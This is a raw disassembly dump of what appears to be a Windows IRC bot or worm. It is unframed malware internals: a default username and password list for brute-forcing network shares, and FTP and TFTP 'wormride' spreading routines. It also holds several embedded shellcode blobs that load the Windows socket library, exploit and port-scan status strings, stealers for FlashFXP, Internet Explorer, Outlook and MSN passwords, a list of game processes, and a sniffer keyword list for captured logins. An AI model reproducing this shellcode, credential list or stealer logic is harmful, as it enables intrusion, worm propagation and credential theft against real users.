10h aCShared db 'c$\shared',0 align 4 aE_0 db 'e$',0 align 10h aD db 'd$',0 ; DATA XREF: .packed:0041BCD0o align 4 aC_0 db 'c$',0 ; DATA XREF: .packed:0041BCCCo align 4 aStaff db 'staff',0 ; DATA XREF: .packed:0041BCC4o ; .packed:0041BF7Co align 10h aTeacher db 'teacher',0 ; DATA XREF: .packed:0041BCC0o ; .packed:0041BF78o aOwner db 'owner',0 align 10h aStudent db 'student',0 ; DATA XREF: .packed:0041BCB8o ; .packed:0041BF70o aIntranet db 'intranet',0 align 4 aLan_0 db 'lan',0 aMain db 'main',0 ; DATA XREF: .packed:00416ACAo ; .packed:00416AECo align 10h aOffice db 'office',0 align 4 aControl db 'control',0 aSiemens db 'siemens',0 aCompaq db 'compaq',0 align 10h aDell db 'dell',0 align 4 aCisco db 'cisco',0 align 10h aIbm db 'ibm',0 aOracle db 'oracle',0 align 4 aSql db 'sql',0 aSa db 'sa',0 align 4 aData db 'data',0 align 4 aAccess db 'access',0 align 4 aDatabase db 'database',0 align 10h aDomain db 'domain',0 align 4 aGod db 'god',0 aBackup db 'backup',0 align 4 aTechnical db 'technical',0 align 10h aMary db 'mary',0 align 4 aKatie db 'katie',0 align 10h aKate db 'kate',0 align 4 aGeorge db 'george',0 align 10h aEric db 'eric',0 align 4 aNone db 'none',0 align 10h aGuest db 'guest',0 align 4 aChris db 'chris',0 align 10h aIan db 'ian',0 aNeil db 'neil',0 align 4 aLee db 'lee',0 aBrian db 'brian',0 align 4 aSusan db 'susan',0 align 10h aSue db 'sue',0 ; DATA XREF: .packed:0041BC24o ; .packed:0041BE78o aSam db 'sam',0 ; DATA XREF: .packed:0041BC20o ; .packed:0041BE74o aLuke db 'luke',0 ; DATA XREF: .packed:0041BC1Co ; .packed:0041BE70o align 10h aPeter db 'peter',0 ; DATA XREF: .packed:0041BC18o ; .packed:0041BE6Co align 4 aJohn db 'john',0 ; DATA XREF: .packed:0041BC14o ; .packed:0041BE68o align 10h aMike db 'mike',0 ; DATA XREF: .packed:0041BC10o ; .packed:0041BE64o align 4 aBill db 'bill',0 ; DATA XREF: .packed:0041BC0Co ; .packed:0041BE60o align 10h aFred db 'fred',0 ; DATA XREF: .packed:0041BC08o ; .packed:0041BE5Co align 4 aJoe db 'joe',0 ; DATA XREF: .packed:0041BC04o ; .packed:0041BE58o aJen db 'jen',0 ; DATA XREF: .packed:0041BC00o ; .packed:0041BE54o aBob db 'bob',0 ; DATA XREF: .packed:0041BBFCo ; .packed:0041BE50o aWwwadmin db 'wwwadmin',0 ; DATA XREF: .packed:0041BBF8o ; .packed:0041BE24o align 10h aOemuser db 'oemuser',0 ; DATA XREF: .packed:0041BBF4o ; .packed:0041BE1Co aUser db 'user',0 ; DATA XREF: .packed:0041BBF0o ; .packed:0041BE14o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: .packed:0041BBECo ; .packed:0041BE10o align 4 aHome db 'home',0 ; DATA XREF: .packed:0041BBE8o ; .packed:0041BE0Co align 4 aInternet db 'internet',0 ; DATA XREF: .packed:0041BBE4o ; .packed:0041BDF8o align 10h aWww db 'www',0 ; DATA XREF: .packed:0041BBE0o ; .packed:0041BDF4o aWeb db 'web',0 ; DATA XREF: .packed:0041BBDCo ; .packed:0041BDF0o aRoot db 'root',0 ; DATA XREF: .packed:0041BBD8o ; .packed:0041BDD4o align 10h aServer_0 db 'server',0 ; DATA XREF: .packed:0041BBD4o ; .packed:0041BDD0o align 4 aLinux db 'linux',0 ; DATA XREF: .packed:0041BBCCo ; .packed:0041BDC0o align 10h aUnix db 'unix',0 ; DATA XREF: .packed:0041BBC8o ; .packed:0041BDBCo align 4 aComputer db 'computer',0 ; DATA XREF: .packed:0041BBC4o ; .packed:0041BDB8o align 4 aAdm db 'adm',0 ; DATA XREF: .packed:0041BBC0o aAdmin db 'admin',0 ; DATA XREF: .packed:0041BBBCo align 10h aAdmins db 'admins',0 ; DATA XREF: .packed:0041BBB8o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .packed:0041BBB4o aAdministrateur db 'administrateur',0 ; DATA XREF: .packed:0041BBB0o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .packed:0041BBACo ; .packed:0041BD14o align 4 aAdministrator db 'administrator',0 ; DATA XREF: .packed:0041BBA8o ; .packed:0041BD10o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B:loc_4119BAo a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+843o dword_41C514 dd 1471A0h align 10h unk_41C520 db 2Dh ; - ; DATA XREF: sub_41113B+80Do db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: sub_41113B+808o dword_41C54C dd 16BF48h dd 2 dup(0) dword_41C558 dd 20363232h, 0A0D2Dh ; sub_41113B+7AAo aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+5C7o ; sub_41113B+751o dword_41C5DC dd 1192A0h dd 2 dup(0) dword_41C5E8 dd 20333132h, 0A0D7525h, 0dword_41C5F4 dd 9AAA8h align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o align 4 dword_41C614 dd 10E3A0h align 10h dword_41C620 dd 20353234h, 0A0D2Dhdword_41C628 dd 123230h dd 2 dup(0) dword_41C634 dd 20303032h, 0A0D2Dh ; sub_41113B+4A6o dword_41C63C dd 949E8h dd 2 dup(0) dword_41C648 dd 20373532h, 20222F22h, 0A0D2Dhdword_41C654 dd 238A0h dd 0 dword_41C65C dd 20313132h, 0A0D2Dhdword_41C664 dd 0B3160h align 10h dword_41C670 dd 20353132h, 0A0D2Dhdword_41C678 dd 9B2A0h dd 2 dup(0) dword_41C684 dd 20303332h, 0A0D2Dhdword_41C68C dd 1230E8h dd 2 dup(0) dword_41C698 dd 20313333h, 0A0D2Dhdword_41C6A0 dd 128588h dd 2 dup(0) dword_41C6AC dd 0A0D20h ; sub_41113B+115o ... dword_41C6B0 dd 20303232h, 0A0D2Dhdword_41C6B8 dd 303332h dword_41C6BC dd 53534150h, 0A0D3120h, 0dword_41C6C8 dd 313333h dword_41C6CC dd 52455355h, 0A0D3120h, 0dword_41C6D8 dd 303232h unk_41C6DC db 2Dh ; - ; DATA XREF: sub_411BBC+115o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_411BBC+6Eo align 10h aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o dword_41C724 dd 4000500h, 7868746Bh, 0unk_41C730 db 2Dh ; - ; DATA XREF: sub_411DC5+5BDo db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 10h aWormride db 'wormride',0 ; DATA XREF: sub_411DC5+5B8o align 4 dword_41C76C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_411DC5+367o aOctet db 'octet',0 ; DATA XREF: sub_411DC5+333o ; sub_411DC5+345o align 4 unk_41C788 db 2Dh ; - ; DATA XREF: sub_411DC5+144o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo align 4 loc_41C7C8: ; DATA XREF: sub_4125DF+50o jmp short loc_41C7DF ; --------------------------------------------------------------------------- loc_41C7CA: ; CODE XREF: .packed:loc_41C7DFp mov ecx, 0 xor ecx, 0 pop esi loc_41C7D6: ; CODE XREF: .packed:0041C7DBj xor byte ptr [ecx+esi-1], 0 loop loc_41C7D6 jmp short near ptr dword_41C7E4 ; --------------------------------------------------------------------------- loc_41C7DF: ; CODE XREF: .packed:loc_41C7C8j call loc_41C7CA ; --------------------------------------------------------------------------- dword_41C7E4 dd 0 dword_41C7E8 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+CBo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C89C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+8Co dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C964 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+36o dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41CA18 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_412720+71o dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_41CB95 db 0E3h ; DATA XREF: sub_4125DF+CFr ; sub_4125DF+E4w align 4 dword_41CB98 dd 4113E68Bh ; sub_4125DF+75w align 10h off_41CBA0 dd offset dword_41CD04 ; DATA XREF: sub_4127D0+77r dd offset dword_41CCF8 dd 0 dd offset dword_41CCE0 dd offset dword_41CCD4 align 8 dd offset dword_41CCB8 dd offset dword_41CCAC dd 0 dd offset dword_41CC90 dd offset dword_41CC84 align 10h dd offset dword_41CC64 dd offset dword_41CC58 dd 0 dd offset dword_41CC38 dd offset dword_41CC2C align 8 dd offset dword_41CC0C dd offset dword_41CC00 dd 4 dup(0) dword_41CC00 dd 0A9DCC5EDh, 2 dup(0) ; .packed:0041DB6Co dword_41CC0C dd 0F09F9DB5h, 0CDEBA2EDh, 0BE8FE2A0h, 0F4A1E0A8h, 0BF879FBAh ; DATA XREF: .packed:0041CBE8o ; .packed:0041DB68o dd 0CDF4E2EAh, 2 dup(0) dword_41CC2C dd 0A3D7CFE8h, 2 dup(0) ; .packed:0041DB60o dword_41CC38 dd 0FD8E88B6h, 8CFCEDEAh, 0A781FBA6h, 0E5B4F8ABh, 0FF8795BCh ; DATA XREF: .packed:0041CBDCo ; .packed:0041DB5Co dd 0CDF1A2ECh, 0B8h, 0 dword_41CC58 dd 0A2D9CBE8h, 2 dup(0) ; .packed:0041DB54o dword_41CC64 dd 0FA8C89B9h, 0D2E0F9ADh, 0FDDCE0B4h, 0F2B5F6BEh, 0F9839DAFh ; DATA XREF: .packed:0041CBD0o ; .packed:0041DB50o dd 0C1BCE4F6h, 0E1BAh, 0 dword_41CC84 dd 0A2D6CEEDh, 2 dup(0) ; .packed:0041DB48o dword_41CC90 dd 0F68193BBh, 0C5F3E2ADh, 0BC81F8BCh, 0E9A5F1A4h, 0FFC189A8h ; DATA XREF: .packed:0041CBC4o ; .packed:0041DB44o dd 0F8E6h, 0 dword_41CCAC dd 0A9DCC5ECh, 2 dup(0) ; .packed:0041DB3Co dword_41CCB8 dd 0F48193BBh, 0C3FEEEADh, 0A79CE7B6h, 0E2B3F1A8h, 0BF9C9FBBh ; DATA XREF: .packed:0041CBB8o ; .packed:0041DB38o dd 0FFE3E0h, 0 dword_41CCD4 dd 0A9DDC5E6h, 2 dup(0) ; .packed:0041DB30o dword_41CCE0 dd 0FA8A99ABh, 0D1FAE5ADh, 0F68CFFBDh, 0EDAFFAE3h, 2 dup(0) ; DATA XREF: .packed:0041CBACo ; .packed:0041DB2Co dword_41CCF8 dd 0A5DCCEEDh, 2 dup(0) ; .packed:off_41DB24o dword_41CD04 dd 0F48A8EAFh, 0CBFDA2E8h, 0A69DE8BDh, 0EEEEFDA9h, 88BAh ; DATA XREF: .packed:off_41CBA0o ; .packed:off_41DB20o dd 0 dword_41CD1C dd 72h dword_41CD20 dd 62h dword_41CD24 dd 63h dword_41CD28 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_412E04+64o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_41CD60 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_412F07+98o dd 74726F70h, 34300320h, 3752502h, 2, 0 byte_41CD88 db 0BBh ; DATA XREF: sub_41294E+3Co ; sub_41294E+4Co ... db 9Fh, 80h, 0FCh dd 0B1h, 2 dup(0) dd 0EE000000h, 0DACFh, 3 dup(0) db 2 dup(0) dword_41CDAE dd 0 ; sub_412FC6+31r ... dword_41CDB2 dd 0 ; sub_414052+B5r ... off_41CDB6 dd offset sub_410649 ; DATA XREF: sub_41294E+1Cr ; sub_412FC6+18r ... dw 3 dd 0 dd 99B10000h, 0F8E2E19Bh, 0FAh, 2 dup(0) dd 0DAC8EB00h, 6 dup(0) dd offset sub_410B52 dd 3, 10h dup(0) dword_41CE38 dd 6E695728h, 293233hdword_41CE40 dd 696E5528h, 2978hdword_41CE48 dd 63617041h, 252F6568h, 75haApache db 'Apache',0 ; DATA XREF: sub_41308F+1B9o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_41308F+FCo align 10h aServer db 'Server:',0 ; DATA XREF: sub_41308F+7Ao aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo db 0Dh,0Ah,0 align 10h unk_41CEA0 db 53h ; S ; DATA XREF: sub_41349C+5E4o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_41CEE4 dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: sub_41349C+55Eo dword_41CEF8 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_41349C+343o dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_41CF30 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: sub_41349C+305o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_41CF5C db 53h ; S ; DATA XREF: sub_413AB0+1DCo db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_41CF94 dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: sub_413CB3+30Eo dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_41CFD8 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: sub_413CB3+2B0o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_41D008 db 2Dh ; - ; DATA XREF: sub_413CB3+31o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 4 aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o dword_41D05C dd 3003203Ah, 75250234h, 202E0203h, 0aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo align 10h dword_41D0A0 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: sub_4141C1+D8o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_41D0D0 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: sub_4141C1+B4o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_41D108 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: sub_4141C1+78o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_41D138 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_4142BF+D8o dd 30032074h, 73250234h, 203h unk_41D158 db 53h ; S ; DATA XREF: sub_4143B0+221o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_41D194 dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: sub_4143B0+1BAo dword_41D1A8 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_4143B0+81o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_41D1F0 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_414600+1BEo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o ; sub_4147E5+C6o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_4148CE+ABo align 4 aSites_dat db 'sites.dat',0 ; DATA XREF: sub_4148CE:loc_414945o align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_4148CE+57o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_4148CE+15o align 4 unk_41D2E4 db 2Dh ; - ; DATA XREF: sub_414A1E+464o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 10h dword_41D320 dd 2343003h, 2037525ha_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+352o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+338o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+31Eo db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+304o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_41D38C db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_414A1E+2EAo align 4 aPass_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1F4o db 'Pass=',0 aUser_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1DCo db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: sub_414A1E+1C4o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: sub_414A1E+1ACo db 'IP=',0 align 4 asc_41D3B8 db 0Dh,0Ah ; DATA XREF: sub_414A1E:loc_414BA6o db 0Dh,0Ah db '[',0 align 10h unk_41D3C0 db 2Dh ; - ; DATA XREF: sub_414A1E+55o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 4 aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo align 4 unk_41D404 db 2Dh ; - ; DATA XREF: sub_414EF4+B8Ao db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 69h aNternetExplore db 'nternet explorer password(s).',0 align 10h dword_41D440 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh ; DATA XREF: sub_414EF4+AD8o dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h dd 2343003h, 2037325h, 2Eh dword_41D49C dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh ; DATA XREF: sub_414EF4+A2Bo dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h dd 25023430h, 2E020373h, 0 dword_41D4E4 dd 70747468h, 2F3A73hdword_41D4EC dd 70747468h, 2F3Ahdword_41D4F4 dd 7274533Ah, 676E69h ; sub_414EF4+99Ao aStringindex db 'StringIndex',0 ; DATA XREF: sub_414EF4+968o aE161255a db 'e161255a',0 ; DATA XREF: sub_414EF4:loc_415842o align 4 dword_41D514 dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h ; DATA XREF: sub_414EF4+935o dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h dword_41D554 dd 2Ch ; sub_414EF4+852o ... aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_414EF4:loc_4155CEo align 4 dword_41D564 dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h ; DATA XREF: sub_414EF4+6C6o dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_414EF4:loc_41550Co align 4 dword_41D5C8 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh ; DATA XREF: sub_414EF4+604o dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_414EF4+5C2o align 4 aWs db '%ws',0 ; DATA XREF: sub_414EF4+41Co asc_41D618 db '%x',0 ; DATA XREF: sub_414EF4+234o align 4 unk_41D61C db 2Dh ; - ; DATA XREF: sub_414EF4+1A9o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingInterne db '- Listing internet explorer passwords',0 align 10h dword_41D650 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; sub_414EF4+2C7o ... aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o align 4 dword_41D684 dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: sub_415B60+277o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: sub_415B60+10Ao align 4 aConquer db '[Conquer]',0 ; DATA XREF: sub_415B60:loc_415C2Fo align 4 aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_415B60+8Co aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo align 4 off_41D7B4 dd offset aUser_1 ; DATA XREF: sub_415EB7+32o ; "user " dd offset aUnknown_1 ; "unknown " dd offset aPass_2 ; "pass " dd offset aMailpass ; "MailPass " dd offset aOper ; "oper " dd 0 dd offset aIdentify ; "identify " dd 0 dd offset aAuth_0 ; " :auth " dd 0 dd offset aPasswd_0 ; "passwd=" dd 0 dd offset aUsername_0 ; "username=" dd 0 dd offset aPassword_0 ; "password=" dd 0 dd offset aLogin_1 ; "login=" dd 0 dd offset aPass_1 ; "pass=" dd 0 dd offset aPw ; "pw=" align 10h off_41D810 dd offset aLogin_0 ; DATA XREF: sub_415EB7+54o ; "login " align 8 dd offset aSxt ; 